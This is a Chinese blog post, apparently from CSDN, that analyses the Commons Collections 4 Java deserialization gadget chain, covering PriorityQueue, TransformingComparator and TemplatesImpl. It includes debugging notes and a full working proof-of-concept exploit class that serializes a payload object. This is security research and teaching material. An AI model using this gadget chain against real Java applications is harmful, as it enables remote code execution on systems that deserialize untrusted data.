• CC4分析


    CC4

    前言

    CC更新了一个大的版本,今天讲的是更新后的。

    链子流程

    先来看看CC4大致的调用链流程图

    其实后半段都和CC3差不多差不多,变的只是前面的入口,简单分析一下这条链子。

    还是先看谁调用了ChainedTransformer的transform

    在TransformingComparator的compare中调用了transform

    继续往回找,非常多调用了conpare,还是需要对java比较了解的。这里不绕圈子了,实际上利用了PriorityQueue的readObject()

    进入readObject中heapify(),存在siftDown()方法

    进入siftDown()方法

    再进入siftDownUsingComparator(),在此处调用了conpare,这就是入口到中间的链子

    直接写我们的EXP

    尝试执行,但无事发生.......在heapify()处设个断点调试

    发现进入heapify后,此时size=0,计算一下size >>>1=0,也就是此时int i =-1。进不了for里面,也就执行不了我们的代码。

    因为1>>>1也等于0,所以我们要增加队列为2.

    尝试执行,但还是出现了错误......其实还是老问题,priorityQueue.add(2)的时候代码会在本地执行

    而字节码加载的某个类只有在反序列化时才会自动加载进来,所以会报错,那这里就像URLDNS链一样解决就好了。

    1. Class transformingComparatorClass = transformingComparator.getClass();
    2. Field transformer = transformingComparatorClass.getDeclaredField("transformer");
    3. transformer.setAccessible(true);
    4. transformer.set(transformingComparator,chainedTransformer);

    最终EXP

    1. package org.example;
    2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    4. import org.apache.commons.collections4.Transformer;
    5. import org.apache.commons.collections4.comparators.TransformingComparator;
    6. import org.apache.commons.collections4.functors.ChainedTransformer;
    7. import org.apache.commons.collections4.functors.ConstantTransformer;
    8. import org.apache.commons.collections4.functors.InstantiateTransformer;
    9. import javax.xml.transform.Templates;
    10. import java.io.*;
    11. import java.lang.annotation.Target;
    12. import java.lang.reflect.*;
    13. import java.nio.file.Files;
    14. import java.nio.file.Paths;
    15. import java.util.Base64;
    16. import java.util.HashMap;
    17. import java.util.Map;
    18. import java.util.PriorityQueue;
    19. // 主程序
    20. public class poc {
    21. public static void main(String[] args) throws Exception{
    22. byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
    23. TemplatesImpl obj = new TemplatesImpl();
    24. setFieldValue(obj, "_bytecodes", new byte[][] {code});
    25. setFieldValue(obj, "_name", "calc");
    26. Transformer[] transformers = new Transformer[] {
    27. new ConstantTransformer<>(TrAXFilter.class),
    28. new InstantiateTransformer<>(
    29. new Class[] { Templates.class },
    30. new Object[] { obj })
    31. };
    32. ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
    33. TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    34. PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    35. priorityQueue.add(1);
    36. priorityQueue.add(2);
    37. Class transformingComparatorClass = transformingComparator.getClass();
    38. Field transformer = transformingComparatorClass.getDeclaredField("transformer");
    39. transformer.setAccessible(true);
    40. transformer.set(transformingComparator,chainedTransformer);
    41. serialize(priorityQueue);
    42. unserialize("ser.bin");
    43. }
    44. //序列化数据
    45. public static void serialize(Object obj) throws IOException {
    46. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    47. oos.writeObject(obj);
    48. }
    49. //反序列化数据
    50. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    51. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    52. Object obj = ois.readObject();
    53. return obj;
    54. }
    55. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
    56. Field field = obj.getClass().getDeclaredField(fieldName);
    57. field.setAccessible(true);
    58. field.set(obj, value);
    59. }
    60. }

    剩下的大都差不多,感觉没意思就没写了。

  • 相关阅读:
    postgresql 内核源码分析 btree索引插入分析,索引页面分裂流程,多举措进行并发优化,对异常进行保护处理
    技术美术百人计划--(3)图形矩阵运算学习笔记
    励磁工作原理
    实施MES系统前要做哪些准备?如何帮助企业打造透明化工厂?
    Apollo + LGSVL联合仿真
    四、WebGPU Storage Buffers 存储缓冲区
    深入掌握 Makefile 与 Make 工具:高效管理自动化编译的核心原理和最佳实践
    《Python趣味工具》——ppt的操作(刷题版)
    13.Spring security权限管理
    基于Python的算术编码的设计与实现
  • 原文地址:https://blog.csdn.net/qq_61237064/article/details/127562385